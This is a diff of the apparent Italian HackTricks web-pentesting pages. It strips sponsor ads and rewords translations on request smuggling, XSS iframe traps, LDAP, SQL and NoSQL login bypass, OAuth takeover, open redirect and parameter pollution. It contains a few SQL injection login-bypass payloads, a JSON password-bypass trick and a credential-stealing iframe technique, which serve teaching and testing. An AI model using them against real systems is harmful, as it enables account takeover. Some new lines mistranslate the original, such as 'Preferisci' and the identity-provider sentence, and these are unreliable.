+Continuare seguendo [**questo post**](https://portswigger.net/research/trace-desync-attack) è suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE rende possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE.
 
 Pertanto, la nuova idea sarebbe che, conoscendo questo Content-Length e i dati forniti nella risposta TRACE, è possibile far sì che la risposta TRACE contenga una risposta HTTP valida dopo l'ultimo byte del Content-Length, consentendo a un attaccante di controllare completamente la richiesta alla risposta successiva (che potrebbe essere utilizzata per eseguire un avvelenamento della cache).
 
@@ -617,7 +609,7 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
 
-## Script Turbo Intruder
+## Script Turbo intruder
 
 ### CL.TE
 
@@ -725,12 +717,5 @@ table.add(req)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md
index c347765b6..ee9712d6a 100644
--- a/src/pentesting-web/iframe-traps.md
+++ b/src/pentesting-web/iframe-traps.md
@@ -2,23 +2,22 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informazioni di Base
 
-This form of abusing XSS via iframes to steal information from the user moving across the web page was originally published in these 2 post from trustedsec.com: [**here**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **and** [**here**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
+Questa forma di abuso di XSS tramite iframe per rubare informazioni dall'utente che si muove attraverso la pagina web è stata originariamente pubblicata in questi 2 post di trustedsec.com: [**qui**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **e** [**qui**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
 
-The attack start in a page vulnerable to a XSS where it’s possible to make the **victims don’t leave the XSS** by making them **navigate within an iframe** that occupies all the web application.
+L'attacco inizia in una pagina vulnerabile a un XSS dove è possibile fare in modo che le **vittime non lascino l'XSS** facendole **navigare all'interno di un iframe** che occupa tutta l'applicazione web.
 
-The XSS attack will basically load the web page in an iframe in 100% of the screen. Therefore, the victim **won't notice he is inside an iframe**. Then, if the victim navigates in the page by clicking links inside the iframe (inside the web), he will be **navigating inside the iframe** with the arbitrary JS loaded stealing information from this navigation.
+L'attacco XSS caricherà fondamentalmente la pagina web in un iframe nel 100% dello schermo. Pertanto, la vittima **non si accorgerà di essere all'interno di un iframe**. Poi, se la vittima naviga nella pagina cliccando sui link all'interno dell'iframe (all'interno del web), si troverà **a navigare all'interno dell'iframe** con il JS arbitrario caricato che ruba informazioni da questa navigazione.
 
-Moreover, to make it more realistic, it’s possible to use some **listeners** to check when an iframe changes the location of the page, and update the URL of the browser with that locations the user things he’s is moving pages using the browser.
+Inoltre, per renderlo più realistico, è possibile utilizzare alcuni **listener** per controllare quando un iframe cambia la posizione della pagina e aggiornare l'URL del browser con quelle posizioni che l'utente pensa di star cambiando pagina utilizzando il browser.
 
 
https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png

 
 
https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png

 
-Moreover, it's possible to use listeners to steal sensitive information, not only the other pages the victim is visiting, but also the data used to **filled forms** and send them (credentials?) or to **steal the local storage**...
+Inoltre, è possibile utilizzare listener per rubare informazioni sensibili, non solo le altre pagine che la vittima sta visitando, ma anche i dati utilizzati per **compilare i moduli** e inviarli (credenziali?) o per **rubare lo storage locale**...
 
-Ofc, the main limitations are that a **victim closing the tab or putting another URL in the browser will escape the iframe**. Another way to do this would be to **refresh the page**, however, this could be partially **prevented** by disabling the right click context menu every time a new page is loaded inside the iframe or noticing when the mouse of the user leaves the iframe, potentially to click the reload button of the browser and in this case the URL of the browser is updated with the original URL vulnerable to XSS so if the user reloads it, it will get poisoned again (note that this is not very stealth).
+Ovviamente, le principali limitazioni sono che una **vittima che chiude la scheda o inserisce un altro URL nel browser sfuggirà all'iframe**. Un altro modo per farlo sarebbe **aggiornare la pagina**, tuttavia, questo potrebbe essere parzialmente **prevenuto** disabilitando il menu contestuale del tasto destro ogni volta che una nuova pagina viene caricata all'interno dell'iframe o notando quando il mouse dell'utente esce dall'iframe, potenzialmente per cliccare il pulsante di aggiornamento del browser e in questo caso l'URL del browser viene aggiornato con l'URL originale vulnerabile a XSS, quindi se l'utente lo ricarica, verrà avvelenato di nuovo (nota che questo non è molto furtivo).
 
 {{#include ../banners/hacktricks-training.md}}
-
diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md
index ee3dcc374..592552174 100644
--- a/src/pentesting-web/ldap-injection.md
+++ b/src/pentesting-web/ldap-injection.md
@@ -4,12 +4,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
-
 ## LDAP Injection
 
 ### **LDAP**
@@ -211,10 +205,5 @@ intitle:"phpLDAPadmin" inurl:cmd.php
 
 {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md
index aa2649561..415aa0433 100644
--- a/src/pentesting-web/login-bypass/README.md
+++ b/src/pentesting-web/login-bypass/README.md
@@ -2,12 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 ## **Bypass del login regolare**
 
 Se trovi una pagina di login, qui puoi trovare alcune tecniche per provare a bypassarla:
@@ -22,7 +16,7 @@ Se trovi una pagina di login, qui puoi trovare alcune tecniche per provare a byp
 - Nodejs trasformerà quel payload in una query simile alla seguente: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` il che rende il bit della password sempre vero.
 - Se puoi inviare un oggetto JSON puoi inviare `"password":{"password": 1}` per bypassare il login.
 - Ricorda che per bypassare questo login devi comunque **conoscere e inviare un nome utente valido**.
-- **Aggiungere l'opzione `"stringifyObjects":true`** quando chiami `mysql.createConnection` bloccherà eventualmente tutti i comportamenti imprevisti quando `Object` viene passato come parametro.
+- **Aggiungere l'opzione `"stringifyObjects":true`** quando chiami `mysql.createConnection` bloccherà eventualmente **tutti i comportamenti imprevisti quando `Object` viene passato** come parametro.
 - Controlla le credenziali:
 - [**Credenziali predefinite**](../../generic-hacking/brute-force.md#default-credentials) della tecnologia/piattaforma utilizzata
 - **Combinazioni comuni** (root, admin, password, nome della tecnologia, utente predefinito con una di queste password).
@@ -43,7 +37,7 @@ sql-login-bypass.md
 
 [Qui puoi trovare diversi trucchi per bypassare il login tramite **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
 
-Poiché le NoSQL Injections richiedono di cambiare il valore dei parametri, dovrai testarle manualmente.
+Poiché le NoSQL Injections richiedono di cambiare il valore dei parametri, dovrai testarli manualmente.
 
 ### Bypass di autenticazione XPath Injection
 
@@ -87,19 +81,15 @@ Se la pagina ha la funzionalità "**Ricordami**", controlla come è implementata
 
 Le pagine di solito reindirizzano gli utenti dopo il login, controlla se puoi alterare quel reindirizzamento per causare un [**Open Redirect**](../open-redirect.md). Forse puoi rubare alcune informazioni (codici, cookie...) se reindirizzi l'utente al tuo sito web.
 
-## Altre Verifiche
+## Altri Controlli
 
-- Controlla se puoi **enumerare nomi utente** abusando della funzionalità di login.
+- Controlla se puoi **enumerare i nomi utente** abusando della funzionalità di login.
 - Controlla se **l'auto-completamento** è attivo nei **moduli** di password/**informazioni** **sensibili** **input:** ``
 
 ## Strumenti Automatici
 
 - [HTLogin](https://github.com/akinerkisa/HTLogin)
 
-

 
-​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/login-bypass/sql-login-bypass.md b/src/pentesting-web/login-bypass/sql-login-bypass.md
index 6f8c030d8..d81cbda80 100644
--- a/src/pentesting-web/login-bypass/sql-login-bypass.md
+++ b/src/pentesting-web/login-bypass/sql-login-bypass.md
@@ -1,16 +1,8 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 Questa lista contiene **payload per bypassare il login tramite XPath, LDAP e SQL injection** (in quest'ordine).
 
-Il modo per utilizzare questa lista è mettere le **prime 200 righe come nome utente e password.** Poi, inserisci l'intera lista nel nome utente per primo e poi negli input della password mentre metti una password (come _Pass1234._) o un nome utente noto (come _admin_).
+Il modo per utilizzare questa lista è di inserire le **prime 200 righe come nome utente e password.** Poi, inserire l'intera lista nel campo del nome utente per primo e poi nel campo della password, mentre si inserisce una password (come _Pass1234._) o un nome utente conosciuto (come _admin_).
 ```
 admin
 password
@@ -817,12 +809,4 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
 %8C%A8%27)||1-- 2
 %bf')||1-- 2
 ```
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md
index c4a97d6e6..6f051c2b7 100644
--- a/src/pentesting-web/nosql-injection.md
+++ b/src/pentesting-web/nosql-injection.md
@@ -1,13 +1,5 @@
 # NoSQL injection
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
-
 {{#include ../banners/hacktricks-training.md}}
 
 ## Exploit
@@ -116,14 +108,6 @@ Utilizzando l'operatore **$func** della libreria [MongoLite](https://github.com/
 }
 ]
 ```
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari** più **avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
-
 ## Payloads MongoDB
 
 Elenco [da qui](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@@ -247,11 +231,3 @@ get_password(u)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 
 {{#include ../banners/hacktricks-training.md}}
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md
index b8fa3db81..f1e4f7be3 100644
--- a/src/pentesting-web/oauth-to-account-takeover.md
+++ b/src/pentesting-web/oauth-to-account-takeover.md
@@ -2,9 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
 
 ## Informazioni di base 
 
@@ -17,12 +14,12 @@ Considera un sito web ipotetico _**https://example.com**_, progettato per **most
 - **proprietario della risorsa**: Tu, come **utente/entità**, autorizzi l'accesso alla tua risorsa, come i post del tuo account sui social media.
 - **server delle risorse**: Il **server che gestisce le richieste autenticate** dopo che l'applicazione ha ottenuto un `access token` per conto del `proprietario della risorsa`, ad esempio, **https://socialmedia.com**.
 - **applicazione client**: L'**applicazione che richiede autorizzazione** dal `proprietario della risorsa`, come **https://example.com**.
-- **server di autorizzazione**: Il **server che emette `access tokens`** all'`applicazione client` dopo l'autenticazione riuscita del `proprietario della risorsa` e l'ottenimento dell'autorizzazione, ad esempio, **https://socialmedia.com**.
+- **server di autorizzazione**: Il **server che emette `access tokens`** all'`applicazione client` dopo la corretta autenticazione del `proprietario della risorsa` e l'ottenimento dell'autorizzazione, ad esempio, **https://socialmedia.com**.
 - **client_id**: Un identificatore pubblico e unico per l'applicazione.
 - **client_secret:** Una chiave riservata, conosciuta solo dall'applicazione e dal server di autorizzazione, utilizzata per generare `access_tokens`.
 - **response_type**: Un valore che specifica **il tipo di token richiesto**, come `code`.
 - **scope**: Il **livello di accesso** che l'`applicazione client` sta richiedendo dal `proprietario della risorsa`.
-- **redirect_uri**: L'**URL a cui l'utente viene reindirizzato dopo l'autorizzazione**. Questo deve tipicamente allinearsi con l'URL di reindirizzamento pre-registrato.
+- **redirect_uri**: L'**URL a cui l'utente viene reindirizzato dopo l'autorizzazione**. Questo deve generalmente allinearsi con l'URL di reindirizzamento pre-registrato.
 - **state**: Un parametro per **mantenere i dati durante il reindirizzamento dell'utente verso e dal server di autorizzazione**. La sua unicità è fondamentale per fungere da **meccanismo di protezione CSRF**.
 - **grant_type**: Un parametro che indica **il tipo di concessione e il tipo di token da restituire**.
 - **code**: Il codice di autorizzazione dal `server di autorizzazione`, utilizzato insieme a `client_id` e `client_secret` dall'applicazione client per acquisire un `access_token`.
@@ -44,7 +41,7 @@ https://socialmedia.com/auth
 &state=randomString123
 ```
 3. Ti viene quindi presentata una pagina di consenso.  
-4. Dopo la tua approvazione, Social Media invia una risposta all'`redirect_uri` con i parametri `code` e `state`:
+4. Dopo la tua approvazione, Social Media invia una risposta al `redirect_uri` con i parametri `code` e `state`:
 ```
 https://example.com?code=uniqueCode123&state=randomString123
 ```
@@ -64,7 +61,7 @@ Le tecniche di sfruttamento variano in base alla logica di convalida del server
 
 Oltre al `redirect_uri`, altri parametri di OAuth e OpenID come `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` sono anch'essi suscettibili ad attacchi di reindirizzamento. Questi parametri sono facoltativi e il loro supporto varia tra i server.
 
-Per coloro che mirano a un server OpenID, l'endpoint di discovery (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare a identificare l'endpoint di registrazione e altre specifiche di configurazione del server.
+Per coloro che mirano a un server OpenID, l'endpoint di scoperta (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare a identificare l'endpoint di registrazione e altre specifiche di configurazione del server.
 
 ### XSS nell'implementazione del reindirizzamento 
 
@@ -85,9 +82,9 @@ Una corretta gestione e validazione del **`state` parameter** sono cruciali per
 ### Pre Account Takeover 
 
 1. **Senza verifica dell'email nella creazione dell'account**: Gli attaccanti possono creare preventivamente un account utilizzando l'email della vittima. Se la vittima successivamente utilizza un servizio di terze parti per il login, l'applicazione potrebbe involontariamente collegare questo account di terze parti all'account pre-creato dall'attaccante, portando a un accesso non autorizzato.
-2. **Sfruttare la verifica dell'email OAuth poco rigorosa**: Gli attaccanti possono sfruttare i servizi OAuth che non verificano le email registrandosi con il loro servizio e poi cambiando l'email dell'account in quella della vittima. Questo metodo comporta un rischio simile di accesso non autorizzato all'account, simile al primo scenario ma attraverso un vettore di attacco diverso.
+2. **Sfruttare la verifica dell'email OAuth poco rigorosa**: Gli attaccanti possono sfruttare i servizi OAuth che non verificano le email registrandosi con il loro servizio e poi cambiando l'email dell'account con quella della vittima. Questo metodo comporta un rischio simile di accesso non autorizzato all'account, simile al primo scenario ma attraverso un vettore d'attacco diverso.
 
-### Rivelazione di segreti 
+### Divulgazione di segreti 
 
 Identificare e proteggere i parametri segreti di OAuth è cruciale. Mentre il **`client_id`** può essere divulgato in modo sicuro, rivelare il **`client_secret`** comporta rischi significativi. Se il `client_secret` viene compromesso, gli attaccanti possono sfruttare l'identità e la fiducia dell'applicazione per **rubare i `access_tokens`** degli utenti e informazioni private.
 
@@ -95,7 +92,7 @@ Una vulnerabilità comune si verifica quando le applicazioni gestiscono erroneam
 
 ### Bruteforce del Client Secret
 
-Puoi provare a **bruteforce il client_secret** di un fornitore di servizi con il provider di identità per cercare di rubare account.\
+Puoi provare a **bruteforce il client_secret** di un fornitore di servizi con l'identità del fornitore per cercare di rubare account.\
 La richiesta per BF potrebbe apparire simile a:
 ```
 POST /token HTTP/1.1
@@ -120,7 +117,7 @@ Il **authorization code dovrebbe vivere solo per un certo periodo per limitare l
 
 ### Authorization/Refresh Token not bound to client
 
-Se riesci a ottenere il **authorization code e usarlo con un client diverso, allora puoi prendere il controllo di altri account**.
+Se puoi ottenere il **authorization code e usarlo con un client diverso, allora puoi prendere il controllo di altri account**.
 
 ### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
 
@@ -220,8 +217,5 @@ Se la piattaforma che stai testando è un fornitore OAuth [**leggi questo per te
 - [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
 - [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
 
-

-
-{% embed url="https://websec.nl/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md
index 9c631b291..dd8238f9c 100644
--- a/src/pentesting-web/open-redirect.md
+++ b/src/pentesting-web/open-redirect.md
@@ -2,15 +2,10 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 ## Open redirect
 
-### Redirect a localhost o domini arbitrari
+### Reindirizzamento a localhost o domini arbitrari
 
 {{#ref}}
 ssrf-server-side-request-forgery/url-format-bypass.md
@@ -176,10 +171,5 @@ exit;
 - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
 - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md
index a36aac90c..a775bcec5 100644
--- a/src/pentesting-web/parameter-pollution.md
+++ b/src/pentesting-web/parameter-pollution.md
@@ -1,59 +1,56 @@
-# Parameter Pollution | JSON Injection
+# Inquinamento dei Parametri | Iniezione JSON
 
-## Parameter Pollution
+## Inquinamento dei Parametri
 
 {{#include ../banners/hacktricks-training.md}}
 
-

 
-{% embed url="https://websec.nl/" %}
+## Panoramica dell'Inquinamento dei Parametri HTTP (HPP)
 
-## Panoramica sull'HTTP Parameter Pollution (HPP)
+L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
 
-HTTP Parameter Pollution (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
-
-### Esempio di HTTP Parameter Pollution (HPP)
+### Esempio di Inquinamento dei Parametri HTTP (HPP)
 
 Un URL di transazione di un'applicazione bancaria:
 
-- **URL originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
+- **URL Originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
 
 Inserendo un ulteriore parametro `from`:
 
-- **URL manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
+- **URL Manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
 
 La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, dimostrando il potenziale dell'HPP di manipolare transazioni o altre funzionalità come il ripristino della password, le impostazioni 2FA o le richieste di chiavi API.
 
-#### **Parsing dei parametri specifico per tecnologia**
+#### **Parsing dei Parametri Specifico per Tecnologia**
 
 - Il modo in cui i parametri vengono analizzati e prioritizzati dipende dalla tecnologia web sottostante, influenzando come l'HPP può essere sfruttato.
 - Strumenti come [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aiutano a identificare queste tecnologie e i loro comportamenti di parsing.
 
 ### Sfruttamento di PHP e HPP
 
-**Caso di manipolazione OTP:**
+**Caso di Manipolazione OTP:**
 
-- **Contesto:** Un meccanismo di accesso che richiede una One-Time Password (OTP) è stato sfruttato.
+- **Contesto:** Un meccanismo di accesso che richiede una Password Usa e Getta (OTP) è stato sfruttato.
 - **Metodo:** Intercettando la richiesta OTP utilizzando strumenti come Burp Suite, gli attaccanti hanno duplicato il parametro `email` nella richiesta HTTP.
-- **Risultato:** L'OTP, destinato all'email iniziale, è stato invece inviato al secondo indirizzo email specificato nella richiesta manipolata. Questa vulnerabilità ha consentito l'accesso non autorizzato eludendo la misura di sicurezza prevista.
+- **Risultato:** L'OTP, destinato all'email iniziale, è stato invece inviato al secondo indirizzo email specificato nella richiesta manipolata. Questo difetto ha consentito l'accesso non autorizzato eludendo la misura di sicurezza prevista.
 
 Questo scenario evidenzia una grave svista nel backend dell'applicazione, che ha elaborato il primo parametro `email` per la generazione dell'OTP ma ha utilizzato l'ultimo per la consegna.
 
-**Caso di manipolazione della chiave API:**
+**Caso di Manipolazione della Chiave API:**
 
 - **Scenario:** Un'applicazione consente agli utenti di aggiornare la propria chiave API tramite una pagina delle impostazioni del profilo.
-- **Vettore di attacco:** Un attaccante scopre che aggiungendo un ulteriore parametro `api_key` alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
+- **Vettore di Attacco:** Un attaccante scopre che aggiungendo un ulteriore parametro `api_key` alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
 - **Tecnica:** Utilizzando uno strumento come Burp Suite, l'attaccante crea una richiesta che include due parametri `api_key`: uno legittimo e uno malevolo. Il server, elaborando solo l'ultima occorrenza, aggiorna la chiave API al valore fornito dall'attaccante.
 - **Risultato:** L'attaccante ottiene il controllo sulla funzionalità API della vittima, potenzialmente accedendo o modificando dati privati in modo non autorizzato.
 
 Questo esempio sottolinea ulteriormente la necessità di una gestione sicura dei parametri, specialmente in funzionalità critiche come la gestione delle chiavi API.
 
-### Parsing dei parametri: Flask vs. PHP
+### Parsing dei Parametri: Flask vs. PHP
 
 Il modo in cui le tecnologie web gestiscono i parametri HTTP duplicati varia, influenzando la loro suscettibilità agli attacchi HPP:
 
 - **Flask:** Adotta il primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi.
-- **PHP (su Apache HTTP Server):** Al contrario, privilegia l'ultimo valore del parametro, optando per `a=2` nell'esempio fornito. Questo comportamento può involontariamente facilitare gli exploit HPP onorando il parametro manipolato dall'attaccante rispetto all'originale.
+- **PHP (su Apache HTTP Server):** Al contrario, privilegia l'ultimo valore del parametro, optando per `a=2` nell'esempio fornito. Questo comportamento può facilitare involontariamente gli exploit HPP onorando il parametro manipolato dall'attaccante rispetto all'originale.
 
 ## Inquinamento dei parametri per tecnologia
 
@@ -64,9 +61,9 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg

 
 1. Ignora tutto dopo %00 nel nome del parametro.
-2. Gestisce name\[] come array.
+2. Gestisci name\[] come array.
 3. \_GET non significa metodo GET.
-4. Preferisce l'ultimo parametro.
+4. Preferisci l'ultimo parametro.
 
 ### Ruby 3.3.5 e WEBrick 1.8.2
 
@@ -74,7 +71,7 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 
 1. Usa i delimitatori & e ; per separare i parametri.
 2. Non riconosce name\[].
-3. Preferisce il primo parametro.
+3. Preferisci il primo parametro.
 
 ### Spring MVC 6.0.23 E Apache Tomcat 10.1.30 
 
@@ -82,7 +79,7 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 
 1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
 2. POST RequestMapping & PostMapping riconoscono name\[].
-3. Preferisce name se name E name\[] esistono.
+3. Preferisci name se name E name\[] esistono.
 4. Concatenare i parametri e.g. first,last.
 5. POST RequestMapping & PostMapping riconoscono i parametri di query con Content-Type.
 
@@ -98,30 +95,30 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

 
 1. NON riconosce name\[].
-2. Preferisce il primo parametro.
+2. Preferisci il primo parametro.
 
 ### Python 3.12.6 E Werkzeug 3.0.4 E Flask 3.0.3 
 
 
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

 
 1. NON riconosce name\[].
-2. Preferisce il primo parametro.
+2. Preferisci il primo parametro.
 
 ### Python 3.12.6 E Django 4.2.15 
 
 
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

 
 1. NON riconosce name\[].
-2. Preferisce l'ultimo parametro.
+2. Preferisci l'ultimo parametro.
 
 ### Python 3.12.6 E Tornado 6.4.1 
 
 
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

 
 1. NON riconosce name\[].
-2. Preferisce l'ultimo parametro.
+2. Preferisci l'ultimo parametro.
 
-## JSON Injection
+## Iniezione JSON
 
 ### Chiavi duplicate
 ```ini
@@ -140,7 +137,7 @@ Alcaratteri non verranno interpretati correttamente dal frontend, ma il backend
 ```
 Nota come in questi casi il front end potrebbe pensare che `test == 1` e il backend penserà che `test == 2`.
 
-Questo può anche essere usato per bypassare le restrizioni sui valori come:
+Questo può anche essere utilizzato per bypassare le restrizioni sui valori come:
 ```json
 {"role": "administrator\[raw \x0d byte]"}
